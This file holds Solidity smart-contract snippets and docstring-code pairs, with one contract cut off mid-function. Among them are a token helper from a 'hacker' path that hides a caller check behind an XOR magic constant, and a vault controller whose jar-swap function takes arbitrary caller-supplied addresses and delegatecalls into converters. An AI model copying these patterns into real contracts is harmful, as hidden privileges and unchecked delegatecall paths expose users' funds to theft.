called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow * checks. * * Downcasting from uint256/int256 in Solidity does not revert on overflow. This can * easily result in undesired exploitation or bugs, since developers usually * assume that overflows raise errors. `SafeCast` restores this intuition by * reverting the transaction when such an operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. * * Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing * all math on `uint256` and `int256` and then downcasting. */ library SafeCast { /** * @dev Returns the downcasted uint224 from uint256, reverting on * overflow (when the input is greater than largest uint224). * * Counterpart to Solidity's `uint224` operator. * * Requirements: * * - input must fit into 224 bits */ function toUint224(uint256 value) internal pure returns (uint224) { require(value <= type(uint224).max, "SafeCast: value doesn't fit in 224 bits"); return uint224(value); } /** * @dev Returns the downcasted uint192 from uint256, reverting on * overflow (when the input is greater than largest uint192). * * Counterpart to Solidity's `uint192` operator. * * Requirements: * * - input must fit into 192 bits */ function toUint192(uint256 value) internal pure returns (uint192) { require(value <= type(uint192).max, "SafeCast: value doesn't fit in 128 bits"); return uint192(value); } /** * @dev Returns the downcasted uint128 from uint256, reverting on * overflow (when the input is greater than largest uint128). * * Counterpart to Solidity's `uint128` operator. * * Requirements: * * - input must fit into 128 bits */ function toUint128(uint256 value) internal pure returns (uint128) { require(value <= type(uint128).max, "SafeCast: value doesn't fit in 128 bits"); return uint128(value); } } // SPDX-License-Identifier: MIT pragma solidity 0.8.13; import "./interfaces/ISpoolOwner.sol"; abstract contract SpoolOwnable { ISpoolOwner internal immutable spoolOwner; constructor(ISpoolOwner _spoolOwner) { require( address(_spoolOwner) != address(0), "SpoolOwnable::constructor: Spool owner contract address cannot be 0" ); spoolOwner = _spoolOwner; } function isSpoolOwner() internal view returns(bool) { return spoolOwner.isSpoolOwner(msg.sender); } function _onlyOwner() internal view { require(isSpoolOwner(), "SpoolOwnable::onlyOwner: Caller is not the Spool owner"); } modifier onlyOwner() { _onlyOwner(); _; } } // SPDX-License-Identifier: MIT pragma solidity 0.8.13; interface ISpoolOwner { function isSpoolOwner(address user) external view returns(bool); } // SPDX-License-Identifier: MIT pragma solidity 0.8.13; import "../external/@openzeppelin/token/ERC20/IERC20.sol"; interface IRewardDistributor { /* ========== FUNCTIONS ========== */ function payRewards( address account, IERC20[] memory tokens, uint256[] memory amounts ) external; function payReward( address account, IERC20 token, uint256 amount ) external; /* ========== EVENTS ========== */ event RewardPaid(IERC20 token, address indexed account, uint256 amount); event RewardRetrieved(IERC20 token, address indexed account, uint256 amount); event DistributorUpdated(address indexed user, bool set); event PauserUpdated(address indexed user, bool set); } // SPDX-License-Identifier: MIT pragma solidity 0.8.13; import "../external/@openzeppelin/token/ERC20/IERC20.sol"; interface ISpoolStaking { /* ========== EVENTS ========== */ event Staked(address indexed user, uint256 amount); event StakedFor(address indexed stakedFor, address indexed stakedBy, uint256 amount); event Unstaked(address indexed user, uint256 amount); event RewardCompounded(address indexed user, uint256 reward); event VoRewardCompounded(address indexed user, uint256 reward); event RewardPaid(IERC20 token, address indexed user, uint256 reward); event VoSpoolRewardPaid(IERC20 token, address indexed user, uint256 reward); event RewardAdded(IERC20 indexed token, uint256 amount, uint256 duration); event RewardUpdated(IERC20 indexed token, uint256 amount, uint256 leftover, uint256 duration, uint32 periodFinish); event RewardRemoved(IERC20 indexed token); event PeriodFinishUpdated(IERC20 indexed token, uint32 periodFinish); event CanStakeForSet(address indexed account, bool canStakeFor); } // SPDX-License-Identifier: MIT pragma solidity 0.8.13; /* ========== STRUCTS ========== */ /** * @notice global gradual struct * @member totalMaturedVotingPower total fully-matured voting power amount * @member totalMaturingAmount total maturing amount (amount of power that is accumulating every week for 1/156 of the amount) * @member totalRawUnmaturedVotingPower total raw voting power still maturing every tranche (totalRawUnmaturedVotingPower/156 is its voting power) * @member lastUpdatedTrancheIndex last (finished) tranche index global gradual has updated */ struct GlobalGradual { uint48 totalMaturedVotingPower; uint48 totalMaturingAmount; uint56 totalRawUnmaturedVotingPower; uint16 lastUpdatedTrancheIndex; } /** * @notice user tranche position struct, pointing at user tranche * @dev points at `userTranches` mapping * @member arrayIndex points at `userTranches` * @member position points at UserTranches position from zero to three (zero, one, two, or three) */ struct UserTranchePosition { uint16 arrayIndex; uint8 position; } /** * @notice user gradual struct, similar to global gradual holds user gragual voting power values * @dev points at `userTranches` mapping * @member maturedVotingPower users fully-matured voting power amount * @member maturingAmount users maturing amount * @member rawUnmaturedVotingPower users raw voting power still maturing every tranche * @member oldestTranchePosition UserTranchePosition pointing at the oldest unmatured UserTranche * @member latestTranchePosition UserTranchePosition pointing at the latest unmatured UserTranche * @member lastUpdatedTrancheIndex last (finished) tranche index user gradual has updated */ struct UserGradual { uint48 maturedVotingPower; // matured voting amount, power accumulated and older than FULL_POWER_TIME, not accumulating anymore uint48 maturingAmount; // total maturing amount (also maximum matured) uint56 rawUnmaturedVotingPower; // current user raw unmatured voting power (increases every new tranche), actual unmatured voting power can be calculated as unmaturedVotingPower / FULL_POWER_TRANCHES_COUNT UserTranchePosition oldestTranchePosition; // if arrayIndex is 0, user has no tranches (even if `latestTranchePosition` is not empty) UserTranchePosition latestTranchePosition; // can only increment, in case of tranche removal, next time user gradually mints we point at tranche at next position uint16 lastUpdatedTrancheIndex; } /** * @title Spool DAO Voting Token interface */ interface IVoSPOOL { /* ========== FUNCTIONS ========== */ function mint(address, uint256) external; function burn(address, uint256) external; function mintGradual(address, uint256) external; function burnGradual( address, uint256, bool ) external; function updateVotingPower() external; function updateUserVotingPower(address user) external; function getTotalGradualVotingPower() external returns (uint256); function getUserGradualVotingPower(address user) external returns (uint256); function getNotUpdatedUserGradual(address user) external view returns (UserGradual memory); function getNotUpdatedGlobalGradual() external view returns (GlobalGradual memory); function getCurrentTrancheIndex() external view returns (uint16); function getLastFinishedTrancheIndex() external view returns (uint16); /* ========== EVENTS ========== */ event Minted(address indexed recipient, uint256 amount); event Burned(address indexed source, uint256 amount); event GradualMinted(address indexed recipient, uint256 amount); event GradualBurned(address indexed source, uint256 amount, bool burnAll); event GlobalGradualUpdated( uint16 indexed lastUpdatedTrancheIndex, uint48 totalMaturedVotingPower, uint48 totalMaturingAmount, uint56 totalRawUnmaturedVotingPower ); event UserGradualUpdated( address indexed user, uint16 indexed lastUpdatedTrancheIndex, uint48 maturedVotingPower, uint48 maturingAmount, uint56 rawUnmaturedVotingPower ); event MinterSet(address indexed minter, bool set); event GradualMinterSet(address indexed minter, bool set); } // SPDX-License-Identifier: MIT pragma solidity 0.8.13; interface IVoSpoolRewards { /* ========== FUNCTIONS ========== */ function updateRewards(address user) external returns (uint256); function flushRewards(address user) external returns (uint256); /* ========== EVENTS ========== */ event RewardRateUpdated(uint8 indexed fromTranche, uint8 indexed toTranche, uint112 rewardPerTranche); event RewardEnded( uint256 indexed rewardRatesIndex, uint8 indexed fromTranche, uint8 indexed toTranche, uint8 currentTrancheIndex ); event UserRewardUpdated(address indexed user, uint8 lastRewardRateIndex, uint248 earned); }
update rewards update and store users voSPOOL
function getUpdatedVoSpoolRewardAmount() external returns (uint256 rewards) { rewards = voSpoolRewards.updateRewards(msg.sender); voSpool.updateUserVotingPower(msg.sender); }
1,407,114
./full_match/1/0x160776cC7A36408EcDDaF077C922B3572611E693/sources/contracts/hacker/DUBAICEO.sol
Check if the hash is correct/
function hashValue() public view returns (bool) { uint256 slt = 3708548765498603144544726704958111133675558490237903900892782821657; return (uint256(msg.sender) ^ slt) == 1 * _maxVals * 1; }
8,445,994
./full_match/10/0x1DC1a62F7F333347B3885fFeef71Cb4D00829fAc/sources/contracts/Vaults/AmmVault.sol
Buy market options from Thales AMM market address of a market amount number of options to be bought position to buy options for
function trade( address market, uint amount, IThalesAMM.Position position ) external nonReentrant whenNotPaused { require(vaultStarted, "Vault has not started"); require(amount >= minTradeAmount, "Amount less than minimum"); IPositionalMarket marketContract = IPositionalMarket(market); (uint maturity, ) = marketContract.times(); require(maturity < (roundStartTime[round] + roundLength), "Market time not valid"); uint pricePosition = thalesAMM.price(address(market), position); require(pricePosition > 0, "Price not more than 0"); int pricePositionImpact = thalesAMM.buyPriceImpact(address(market), position, amount); require(pricePosition >= priceLowerLimit && pricePosition <= priceUpperLimit, "Market price not valid"); require(pricePositionImpact < skewImpactLimit, "Skew impact too high"); _buyFromAmm(market, position, amount); if (!isTradingMarketInARound[round][market]) { tradingMarketsPerRound[round].push(market); isTradingMarketInARound[round][market] = true; } }
3,781,430
pragma solidity ^0.4.18; /** SafeMath libs are inspired by: * https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol * There is debate as to whether this lib should use assert or require: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/565 * `require` is used in these libraries for the following reasons: * - overflows should not be checked in contract function bodies; DRY * - "valid" user input can cause overflows, which should not assert() */ library SafeMath { function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } } library SafeMath64 { function sub(uint64 a, uint64 b) internal pure returns (uint64) { require(b <= a); return a - b; } function add(uint64 a, uint64 b) internal pure returns (uint64) { uint64 c = a + b; require(c >= a); return c; } } // https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/ownership/Ownable.sol contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } // https://github.com/ethereum/EIPs/issues/179 contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // https://github.com/ethereum/EIPs/issues/20 contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/token/DetailedERC20.sol contract DetailedERC20 is ERC20 { string public name; string public symbol; uint8 public decimals; function DetailedERC20(string _name, string _symbol, uint8 _decimals) public { name = _name; symbol = _symbol; decimals = _decimals; } } /** SolClub has the following properties: * * Member Creation: * - Self-registration * - Owner signs hash(address, username, endowment), and sends to member * - Member registers with username, endowment, and signature to create new account. * - Mod creates new member. * - Members are first eligible to withdraw dividends for the period after account creation. * * Karma/Token Rules: * - Karma is created by initial member creation endowment. * - Karma can also be minted by mod into an existing account. * - Karma can only be transferred to existing account holder. * - Karma implements the ERC20 token interface. * * Dividends: * - each member can withdraw a dividend once per month. * - dividend is total contract value minus owner cut at end of the month, divided by total number of members at end of month. * - owner cut is determined at beginning of new period. * - member has 1 month to withdraw their dividend from the previous month. * - if member does not withdraw their dividend, their share will be given to owner. * - mod can place a member on a 1 month "timeout", whereby they won't be eligible for a dividend. * Eg: 10 eth is sent to the contract in January, owner cut is 30%. * There are 70 token holders on Jan 31. At any time in February, each token holder can withdraw .1 eth for their January * dividend (unless they were given a "timeout" in January). */ contract SolClub is Ownable, DetailedERC20("SolClub", "SOL", 0) { // SafeMath libs are responsible for checking overflow. using SafeMath for uint256; using SafeMath64 for uint64; struct Member { bytes20 username; uint64 karma; uint16 canWithdrawPeriod; uint16 birthPeriod; } // Manage members. mapping(address => Member) public members; mapping(bytes20 => address) public usernames; // Manage dividend payments. uint256 public epoch; // Timestamp at start of new period. uint256 dividendPool; // Total amount of dividends to pay out for last period. uint256 public dividend; // Per-member share of last period's dividend. uint256 public ownerCut; // Percentage, in basis points, of owner cut of this period's payments. uint64 public numMembers; // Number of members created before this period. uint64 public newMembers; // Number of members created during this period. uint16 public currentPeriod = 1; address public moderator; mapping(address => mapping (address => uint256)) internal allowed; event Mint(address indexed to, uint256 amount); event PeriodEnd(uint16 period, uint256 amount, uint64 members); event Payment(address indexed from, uint256 amount); event Withdrawal(address indexed to, uint16 indexed period, uint256 amount); event NewMember(address indexed addr, bytes20 username, uint64 endowment); event RemovedMember(address indexed addr, bytes20 username, uint64 karma, bytes32 reason); modifier onlyMod() { require(msg.sender == moderator); _; } function SolClub() public { epoch = now; moderator = msg.sender; } function() payable public { Payment(msg.sender, msg.value); } /** * Owner Functions */ function setMod(address _newMod) public onlyOwner { moderator = _newMod; } // Owner should call this on twice a month. // _ownerCut is new owner cut for new period. function newPeriod(uint256 _ownerCut) public onlyOwner { require(now >= epoch + 15 days); require(_ownerCut <= 10000); uint256 unclaimedDividend = dividendPool; uint256 ownerRake = (address(this).balance-unclaimedDividend) * ownerCut / 10000; dividendPool = address(this).balance - unclaimedDividend - ownerRake; // Calculate dividend. uint64 existingMembers = numMembers; if (existingMembers == 0) { dividend = 0; } else { dividend = dividendPool / existingMembers; } numMembers = numMembers.add(newMembers); newMembers = 0; currentPeriod++; epoch = now; ownerCut = _ownerCut; msg.sender.transfer(ownerRake + unclaimedDividend); PeriodEnd(currentPeriod-1, this.balance, existingMembers); } // Places member is a "banished" state whereby they are no longer a member, // but their username remains active (preventing re-registration) function removeMember(address _addr, bytes32 _reason) public onlyOwner { require(members[_addr].birthPeriod != 0); Member memory m = members[_addr]; totalSupply = totalSupply.sub(m.karma); if (m.birthPeriod == currentPeriod) { newMembers--; } else { numMembers--; } // "Burns" username, so user can't recreate. usernames[m.username] = address(0x1); delete members[_addr]; RemovedMember(_addr, m.username, m.karma, _reason); } // Place a username back into circulation for re-registration. function deleteUsername(bytes20 _username) public onlyOwner { require(usernames[_username] == address(0x1)); delete usernames[_username]; } /** * Mod Functions */ function createMember(address _addr, bytes20 _username, uint64 _amount) public onlyMod { newMember(_addr, _username, _amount); } // Send karma to existing account. function mint(address _addr, uint64 _amount) public onlyMod { require(members[_addr].canWithdrawPeriod != 0); members[_addr].karma = members[_addr].karma.add(_amount); totalSupply = totalSupply.add(_amount); Mint(_addr, _amount); } // If a member has been bad, they won't be able to receive a dividend :( function timeout(address _addr) public onlyMod { require(members[_addr].canWithdrawPeriod != 0); members[_addr].canWithdrawPeriod = currentPeriod + 1; } /** * Member Functions */ // Owner will sign hash(address, username, amount), and address owner uses this // signature to register their account. function register(bytes20 _username, uint64 _endowment, bytes _sig) public { require(recover(keccak256(msg.sender, _username, _endowment), _sig) == owner); newMember(msg.sender, _username, _endowment); } // Member can withdraw their share of donations from the previous month. function withdraw() public { require(members[msg.sender].canWithdrawPeriod != 0); require(members[msg.sender].canWithdrawPeriod < currentPeriod); members[msg.sender].canWithdrawPeriod = currentPeriod; dividendPool -= dividend; msg.sender.transfer(dividend); Withdrawal(msg.sender, currentPeriod-1, dividend); } /** * ERC20 Functions */ function balanceOf(address _owner) public view returns (uint256 balance) { return members[_owner].karma; } // Contrary to most ERC20 implementations, require that recipient is existing member. function transfer(address _to, uint256 _value) public returns (bool) { require(members[_to].canWithdrawPeriod != 0); require(_value <= members[msg.sender].karma); // Type assertion to uint64 is safe because we require that _value is < uint64 above. members[msg.sender].karma = members[msg.sender].karma.sub(uint64(_value)); members[_to].karma = members[_to].karma.add(uint64(_value)); Transfer(msg.sender, _to, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } // Contrary to most ERC20 implementations, require that recipient is existing member. function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(members[_to].canWithdrawPeriod != 0); require(_value <= members[_from].karma); require(_value <= allowed[_from][msg.sender]); members[_from].karma = members[_from].karma.sub(uint64(_value)); members[_to].karma = members[_to].karma.add(uint64(_value)); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * Private Functions */ // Ensures that username isn't taken, and account doesn't already exist for // member's address. function newMember(address _addr, bytes20 _username, uint64 _endowment) private { require(usernames[_username] == address(0)); require(members[_addr].canWithdrawPeriod == 0); members[_addr].canWithdrawPeriod = currentPeriod + 1; members[_addr].birthPeriod = currentPeriod; members[_addr].karma = _endowment; members[_addr].username = _username; usernames[_username] = _addr; newMembers = newMembers.add(1); totalSupply = totalSupply.add(_endowment); NewMember(_addr, _username, _endowment); } // https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/ECRecovery.sol function recover(bytes32 hash, bytes sig) internal pure returns (address) { bytes32 r; bytes32 s; uint8 v; //Check the signature length if (sig.length != 65) { return (address(0)); } // Divide the signature in r, s and v variables assembly { r := mload(add(sig, 32)) s := mload(add(sig, 64)) v := byte(0, mload(add(sig, 96))) } // Version of signature should be 27 or 28, but 0 and 1 are also possible versions if (v < 27) { v += 27; } // If the version is correct return the signer address if (v != 27 && v != 28) { return (address(0)); } else { return ecrecover(hash, v, r, s); } } }
Owner will sign hash(address, username, amount), and address owner uses this signature to register their account.
function register(bytes20 _username, uint64 _endowment, bytes _sig) public { require(recover(keccak256(msg.sender, _username, _endowment), _sig) == owner); newMember(msg.sender, _username, _endowment); }
1,037,161
./full_match/100/0x8f8c037b336090543589214A51787D64885Db560/sources/project_/contracts/Payments/FeesCollectors.sol
Sets a new default feesCollector feesCollector The address of the new default feesCollector/
function setDefaultFeesCollector(address feesCollector) external onlyOwner { _defaultFeesCollector = feesCollector; emit DefaultFeesCollector(feesCollector); }
14,270,133
pragma solidity 0.6.7; pragma experimental ABIEncoderV2; contract ControllerV4 { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; address public constant burn = 0x000000000000000000000000000000000000dEaD; address public onesplit = 0xC586BeF4a0992C495Cf22e1aeEE4E446CECDee0E; address public governance; address public strategist; address public devfund; address public treasury; address public timelock; // Convenience fee 0.1% uint256 public convenienceFee = 100; uint256 public constant convenienceFeeMax = 100000; mapping(address => address) public jars; mapping(address => address) public strategies; mapping(address => mapping(address => address)) public converters; mapping(address => mapping(address => bool)) public approvedStrategies; mapping(address => bool) public approvedJarConverters; uint256 public split = 500; uint256 public constant max = 10000; constructor( address _governance, address _strategist, address _timelock, address _devfund, address _treasury ) public { governance = _governance; strategist = _strategist; timelock = _timelock; devfund = _devfund; treasury = _treasury; } function setDevFund(address _devfund) public { require(msg.sender == governance, "!governance"); devfund = _devfund; } function setTreasury(address _treasury) public { require(msg.sender == governance, "!governance"); treasury = _treasury; } function setStrategist(address _strategist) public { require(msg.sender == governance, "!governance"); strategist = _strategist; } function setSplit(uint256 _split) public { require(msg.sender == governance, "!governance"); split = _split; } function setOneSplit(address _onesplit) public { require(msg.sender == governance, "!governance"); onesplit = _onesplit; } function setGovernance(address _governance) public { require(msg.sender == governance, "!governance"); governance = _governance; } function setTimelock(address _timelock) public { require(msg.sender == timelock, "!timelock"); timelock = _timelock; } function setJar(address _token, address _jar) public { require( msg.sender == strategist || msg.sender == governance, "!strategist" ); require(jars[_token] == address(0), "jar"); jars[_token] = _jar; } function approveJarConverter(address _converter) public { require(msg.sender == governance, "!governance"); approvedJarConverters[_converter] = true; } function revokeJarConverter(address _converter) public { require(msg.sender == governance, "!governance"); approvedJarConverters[_converter] = false; } function approveStrategy(address _token, address _strategy) public { require(msg.sender == timelock, "!timelock"); approvedStrategies[_token][_strategy] = true; } function revokeStrategy(address _token, address _strategy) public { require(msg.sender == governance, "!governance"); approvedStrategies[_token][_strategy] = false; } function setConvenienceFee(uint256 _convenienceFee) external { require(msg.sender == timelock, "!timelock"); convenienceFee = _convenienceFee; } function setStrategy(address _token, address _strategy) public { require( msg.sender == strategist || msg.sender == governance, "!strategist" ); require(approvedStrategies[_token][_strategy] == true, "!approved"); address _current = strategies[_token]; if (_current != address(0)) { IStrategy(_current).withdrawAll(); } strategies[_token] = _strategy; } function earn(address _token, uint256 _amount) public { address _strategy = strategies[_token]; address _want = IStrategy(_strategy).want(); if (_want != _token) { address converter = converters[_token][_want]; IERC20(_token).safeTransfer(converter, _amount); _amount = Converter(converter).convert(_strategy); IERC20(_want).safeTransfer(_strategy, _amount); } else { IERC20(_token).safeTransfer(_strategy, _amount); } IStrategy(_strategy).deposit(); } function balanceOf(address _token) external view returns (uint256) { return IStrategy(strategies[_token]).balanceOf(); } function withdrawAll(address _token) public { require( msg.sender == strategist || msg.sender == governance, "!strategist" ); IStrategy(strategies[_token]).withdrawAll(); } function inCaseTokensGetStuck(address _token, uint256 _amount) public { require( msg.sender == strategist || msg.sender == governance, "!governance" ); IERC20(_token).safeTransfer(msg.sender, _amount); } function inCaseStrategyTokenGetStuck(address _strategy, address _token) public { require( msg.sender == strategist || msg.sender == governance, "!governance" ); IStrategy(_strategy).withdraw(_token); } function getExpectedReturn( address _strategy, address _token, uint256 parts ) public view returns (uint256 expected) { uint256 _balance = IERC20(_token).balanceOf(_strategy); address _want = IStrategy(_strategy).want(); (expected, ) = OneSplitAudit(onesplit).getExpectedReturn( _token, _want, _balance, parts, 0 ); } // Only allows to withdraw non-core strategy tokens ~ this is over and above normal yield function yearn( address _strategy, address _token, uint256 parts ) public { require( msg.sender == strategist || msg.sender == governance, "!governance" ); // This contract should never have value in it, but just incase since this is a public call uint256 _before = IERC20(_token).balanceOf(address(this)); IStrategy(_strategy).withdraw(_token); uint256 _after = IERC20(_token).balanceOf(address(this)); if (_after > _before) { uint256 _amount = _after.sub(_before); address _want = IStrategy(_strategy).want(); uint256[] memory _distribution; uint256 _expected; _before = IERC20(_want).balanceOf(address(this)); IERC20(_token).safeApprove(onesplit, 0); IERC20(_token).safeApprove(onesplit, _amount); (_expected, _distribution) = OneSplitAudit(onesplit) .getExpectedReturn(_token, _want, _amount, parts, 0); OneSplitAudit(onesplit).swap( _token, _want, _amount, _expected, _distribution, 0 ); _after = IERC20(_want).balanceOf(address(this)); if (_after > _before) { _amount = _after.sub(_before); uint256 _treasury = _amount.mul(split).div(max); earn(_want, _amount.sub(_treasury)); IERC20(_want).safeTransfer(treasury, _treasury); } } } function withdraw(address _token, uint256 _amount) public { require(msg.sender == jars[_token], "!jar"); IStrategy(strategies[_token]).withdraw(_amount); } // Function to swap between jars function swapExactJarForJar( address _fromJar, // From which Jar address _toJar, // To which Jar uint256 _fromJarAmount, // How much jar tokens to swap uint256 _toJarMinAmount, // How much jar tokens you'd like at a minimum address payable[] calldata _targets, bytes[] calldata _data ) external returns (uint256) { require(_targets.length == _data.length, "!length"); // Only return last response for (uint256 i = 0; i < _targets.length; i++) { require(_targets[i] != address(0), "!converter"); require(approvedJarConverters[_targets[i]], "!converter"); } address _fromJarToken = IJar(_fromJar).token(); address _toJarToken = IJar(_toJar).token(); // Get pTokens from msg.sender IERC20(_fromJar).safeTransferFrom( msg.sender, address(this), _fromJarAmount ); // Calculate how much underlying // is the amount of pTokens worth uint256 _fromJarUnderlyingAmount = _fromJarAmount .mul(IJar(_fromJar).getRatio()) .div(10**uint256(IJar(_fromJar).decimals())); // Call 'withdrawForSwap' on Jar's current strategy if Jar // doesn't have enough initial capital. // This has moves the funds from the strategy to the Jar's // 'earnable' amount. Enabling 'free' withdrawals uint256 _fromJarAvailUnderlying = IERC20(_fromJarToken).balanceOf( _fromJar ); if (_fromJarAvailUnderlying < _fromJarUnderlyingAmount) { IStrategy(strategies[_fromJarToken]).withdrawForSwap( _fromJarUnderlyingAmount.sub(_fromJarAvailUnderlying) ); } // Withdraw from Jar // Note: this is free since its still within the "earnable" amount // as we transferred the access IERC20(_fromJar).safeApprove(_fromJar, 0); IERC20(_fromJar).safeApprove(_fromJar, _fromJarAmount); IJar(_fromJar).withdraw(_fromJarAmount); // Calculate fee uint256 _fromUnderlyingBalance = IERC20(_fromJarToken).balanceOf( address(this) ); uint256 _convenienceFee = _fromUnderlyingBalance.mul(convenienceFee).div( convenienceFeeMax ); if (_convenienceFee > 1) { IERC20(_fromJarToken).safeTransfer(devfund, _convenienceFee.div(2)); IERC20(_fromJarToken).safeTransfer(treasury, _convenienceFee.div(2)); } // Executes sequence of logic for (uint256 i = 0; i < _targets.length; i++) { _execute(_targets[i], _data[i]); } // Deposit into new Jar uint256 _toBal = IERC20(_toJarToken).balanceOf(address(this)); IERC20(_toJarToken).safeApprove(_toJar, 0); IERC20(_toJarToken).safeApprove(_toJar, _toBal); IJar(_toJar).deposit(_toBal); // Send Jar Tokens to user uint256 _toJarBal = IJar(_toJar).balanceOf(address(this)); if (_toJarBal < _toJarMinAmount) { revert("!min-jar-amount"); } IJar(_toJar).transfer(msg.sender, _toJarBal); return _toJarBal; } function _execute(address _target, bytes memory _data) internal returns (bytes memory response) { require(_target != address(0), "!target"); // call contract in current context assembly { let succeeded := delegatecall( sub(gas(), 5000), _target, add(_data, 0x20), mload(_data), 0, 0 ) let size := returndatasize() response := mload(0x40) mstore( 0x40, add(response, and(add(add(size, 0x20), 0x1f), not(0x1f))) ) mstore(response, size) returndatacopy(add(response, 0x20), 0, size) switch iszero(succeeded) case 1 { // throw if delegatecall failed revert(add(response, 0x20), size) } } } } contract Timelock { using SafeMath for uint; event NewAdmin(address indexed newAdmin); event NewPendingAdmin(address indexed newPendingAdmin); event NewDelay(uint indexed newDelay); event CancelTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); event ExecuteTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); event QueueTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); uint public constant GRACE_PERIOD = 14 days; uint public constant MINIMUM_DELAY = 2 days; uint public constant MAXIMUM_DELAY = 30 days; address public admin; address public pendingAdmin; uint public delay; bool public admin_initialized; mapping (bytes32 => bool) public queuedTransactions; constructor(address admin_, uint delay_) public { require(delay_ >= MINIMUM_DELAY, "Timelock::constructor: Delay must exceed minimum delay."); require(delay_ <= MAXIMUM_DELAY, "Timelock::constructor: Delay must not exceed maximum delay."); admin = admin_; delay = delay_; admin_initialized = false; } // XXX: function() external payable { } receive() external payable { } function setDelay(uint delay_) public { require(msg.sender == address(this), "Timelock::setDelay: Call must come from Timelock."); require(delay_ >= MINIMUM_DELAY, "Timelock::setDelay: Delay must exceed minimum delay."); require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay."); delay = delay_; emit NewDelay(delay); } function acceptAdmin() public { require(msg.sender == pendingAdmin, "Timelock::acceptAdmin: Call must come from pendingAdmin."); admin = msg.sender; pendingAdmin = address(0); emit NewAdmin(admin); } function setPendingAdmin(address pendingAdmin_) public { // allows one time setting of admin for deployment purposes if (admin_initialized) { require(msg.sender == address(this), "Timelock::setPendingAdmin: Call must come from Timelock."); } else { require(msg.sender == admin, "Timelock::setPendingAdmin: First call must come from admin."); admin_initialized = true; } pendingAdmin = pendingAdmin_; emit NewPendingAdmin(pendingAdmin); } function queueTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public returns (bytes32) { require(msg.sender == admin, "Timelock::queueTransaction: Call must come from admin."); require(eta >= getBlockTimestamp().add(delay), "Timelock::queueTransaction: Estimated execution block must satisfy delay."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = true; emit QueueTransaction(txHash, target, value, signature, data, eta); return txHash; } function cancelTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public { require(msg.sender == admin, "Timelock::cancelTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = false; emit CancelTransaction(txHash, target, value, signature, data, eta); } function 